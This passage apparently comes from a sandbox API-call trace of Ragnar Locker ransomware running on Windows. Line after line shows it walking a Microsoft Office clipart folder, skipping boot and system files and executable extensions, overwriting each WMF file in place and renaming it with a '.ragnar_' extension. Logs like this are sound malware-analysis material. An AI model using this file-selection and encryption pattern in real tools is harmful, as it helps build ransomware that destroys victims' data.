hTemplateFile=0x0) returned 0xf4 [0080.788] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10326) returned 1 [0080.788] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x284d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.788] GetProcessHeap () returned 0x580000 [0080.788] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.788] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.790] VirtualAlloc (lpAddress=0x0, dwSize=0x2856, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.790] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.790] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.790] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2856, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2856, lpOverlapped=0x0) returned 1 [0080.791] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.791] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2856, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.791] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2856, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2856, lpOverlapped=0x0) returned 1 [0080.791] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2856, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.791] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.791] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2856, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.791] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.791] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.791] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.791] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.792] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.792] GetProcessHeap () returned 0x580000 [0080.792] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.792] CloseHandle (hObject=0xf4) returned 1 [0080.792] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" [0080.792] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.ragnar_FD7BD9FC" [0080.792] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.792] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7992, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00117_.WMF", cAlternateFileName="")) returned 1 [0080.792] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.792] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD00117_.WMF" | out: lpString1="DD00117_.WMF") returned="DD00117_.WMF" [0080.792] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned=".WMF" [0080.792] lstrcmpiW (lpString1="DD00117_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.792] lstrcmpiW (lpString1="DD00117_.WMF", lpString2="autorun.inf") returned 1 [0080.793] lstrcmpiW (lpString1="DD00117_.WMF", lpString2="boot.ini") returned 1 [0080.793] lstrcmpiW (lpString1="DD00117_.WMF", lpString2="bootfont.bin") returned 1 [0080.793] lstrcmpiW (lpString1="DD00117_.WMF", lpString2="bootsect.bak") returned 1 [0080.793] lstrcmpiW (lpString1="DD00117_.WMF", lpString2="bootmgr") returned 1 [0080.793] lstrcmpiW (lpString1="DD00117_.WMF", lpString2="bootmgr.efi") returned 1 [0080.793] lstrcmpiW (lpString1="DD00117_.WMF", lpString2="bootmgfw.efi") returned 1 [0080.793] lstrcmpiW (lpString1="DD00117_.WMF", lpString2="desktop.ini") returned -1 [0080.793] lstrcmpiW (lpString1="DD00117_.WMF", lpString2="iconcache.db") returned -1 [0080.793] lstrcmpiW (lpString1="DD00117_.WMF", lpString2="ntldr") returned -1 [0080.793] lstrcmpiW (lpString1="DD00117_.WMF", lpString2="ntuser.dat") returned -1 [0080.793] lstrcmpiW (lpString1="DD00117_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.793] lstrcmpiW (lpString1="DD00117_.WMF", lpString2="ntuser.ini") returned -1 [0080.793] lstrcmpiW (lpString1="DD00117_.WMF", lpString2="thumbs.db") returned -1 [0080.793] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.793] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.793] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.793] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.793] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.793] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.793] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf")) returned 0x20 [0080.794] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.794] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=31122) returned 1 [0080.794] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7989, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.794] GetProcessHeap () returned 0x580000 [0080.794] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.794] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.796] VirtualAlloc (lpAddress=0x0, dwSize=0x7992, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.796] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.796] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.796] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7992, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7992, lpOverlapped=0x0) returned 1 [0080.797] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.798] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7992, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.798] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7992, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7992, lpOverlapped=0x0) returned 1 [0080.798] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7992, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.798] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.798] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7992, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.798] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.798] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.798] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.798] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.799] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.799] GetProcessHeap () returned 0x580000 [0080.799] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.799] CloseHandle (hObject=0xf4) returned 1 [0080.799] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" [0080.799] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.ragnar_FD7BD9FC" [0080.799] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.799] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a43700, ftCreationTime.dwHighDateTime=0x1bd4aee, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6a43700, ftLastWriteTime.dwHighDateTime=0x1bd4aee, nFileSizeHigh=0x0, nFileSizeLow=0x2040, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00121_.WMF", cAlternateFileName="")) returned 1 [0080.800] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.800] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD00121_.WMF" | out: lpString1="DD00121_.WMF") returned="DD00121_.WMF" [0080.800] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned=".WMF" [0080.800] lstrcmpiW (lpString1="DD00121_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.800] lstrcmpiW (lpString1="DD00121_.WMF", lpString2="autorun.inf") returned 1 [0080.800] lstrcmpiW (lpString1="DD00121_.WMF", lpString2="boot.ini") returned 1 [0080.800] lstrcmpiW (lpString1="DD00121_.WMF", lpString2="bootfont.bin") returned 1 [0080.800] lstrcmpiW (lpString1="DD00121_.WMF", lpString2="bootsect.bak") returned 1 [0080.800] lstrcmpiW (lpString1="DD00121_.WMF", lpString2="bootmgr") returned 1 [0080.800] lstrcmpiW (lpString1="DD00121_.WMF", lpString2="bootmgr.efi") returned 1 [0080.800] lstrcmpiW (lpString1="DD00121_.WMF", lpString2="bootmgfw.efi") returned 1 [0080.800] lstrcmpiW (lpString1="DD00121_.WMF", lpString2="desktop.ini") returned -1 [0080.800] lstrcmpiW (lpString1="DD00121_.WMF", lpString2="iconcache.db") returned -1 [0080.800] lstrcmpiW (lpString1="DD00121_.WMF", lpString2="ntldr") returned -1 [0080.800] lstrcmpiW (lpString1="DD00121_.WMF", lpString2="ntuser.dat") returned -1 [0080.800] lstrcmpiW (lpString1="DD00121_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.800] lstrcmpiW (lpString1="DD00121_.WMF", lpString2="ntuser.ini") returned -1 [0080.800] lstrcmpiW (lpString1="DD00121_.WMF", lpString2="thumbs.db") returned -1 [0080.800] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.800] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.800] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.800] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.800] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.800] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.800] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf")) returned 0x20 [0080.801] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.801] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8256) returned 1 [0080.801] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2037, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.801] GetProcessHeap () returned 0x580000 [0080.801] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.801] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.803] VirtualAlloc (lpAddress=0x0, dwSize=0x2040, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.803] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.803] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.803] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2040, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2040, lpOverlapped=0x0) returned 1 [0080.804] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.804] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2040, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.805] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2040, lpOverlapped=0x0) returned 1 [0080.805] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2040, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.805] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.805] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2040, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.805] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.805] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.805] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.805] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.805] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.805] GetProcessHeap () returned 0x580000 [0080.805] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.805] CloseHandle (hObject=0xf4) returned 1 [0080.806] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" [0080.806] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.ragnar_FD7BD9FC" [0080.806] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.806] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x73bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00234_.WMF", cAlternateFileName="")) returned 1 [0080.806] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.806] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD00234_.WMF" | out: lpString1="DD00234_.WMF") returned="DD00234_.WMF" [0080.806] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned=".WMF" [0080.806] lstrcmpiW (lpString1="DD00234_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.806] lstrcmpiW (lpString1="DD00234_.WMF", lpString2="autorun.inf") returned 1 [0080.806] lstrcmpiW (lpString1="DD00234_.WMF", lpString2="boot.ini") returned 1 [0080.806] lstrcmpiW (lpString1="DD00234_.WMF", lpString2="bootfont.bin") returned 1 [0080.806] lstrcmpiW (lpString1="DD00234_.WMF", lpString2="bootsect.bak") returned 1 [0080.806] lstrcmpiW (lpString1="DD00234_.WMF", lpString2="bootmgr") returned 1 [0080.806] lstrcmpiW (lpString1="DD00234_.WMF", lpString2="bootmgr.efi") returned 1 [0080.807] lstrcmpiW (lpString1="DD00234_.WMF", lpString2="bootmgfw.efi") returned 1 [0080.807] lstrcmpiW (lpString1="DD00234_.WMF", lpString2="desktop.ini") returned -1 [0080.807] lstrcmpiW (lpString1="DD00234_.WMF", lpString2="iconcache.db") returned -1 [0080.807] lstrcmpiW (lpString1="DD00234_.WMF", lpString2="ntldr") returned -1 [0080.807] lstrcmpiW (lpString1="DD00234_.WMF", lpString2="ntuser.dat") returned -1 [0080.807] lstrcmpiW (lpString1="DD00234_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.807] lstrcmpiW (lpString1="DD00234_.WMF", lpString2="ntuser.ini") returned -1 [0080.807] lstrcmpiW (lpString1="DD00234_.WMF", lpString2="thumbs.db") returned -1 [0080.807] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.807] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.807] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.807] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.807] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.807] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.807] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.807] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf")) returned 0x20 [0080.807] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.807] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=29628) returned 1 [0080.807] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x73b3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.807] GetProcessHeap () returned 0x580000 [0080.807] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.807] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.809] VirtualAlloc (lpAddress=0x0, dwSize=0x73bc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.809] SetFilePointerEx (in: hFile=0xf4, 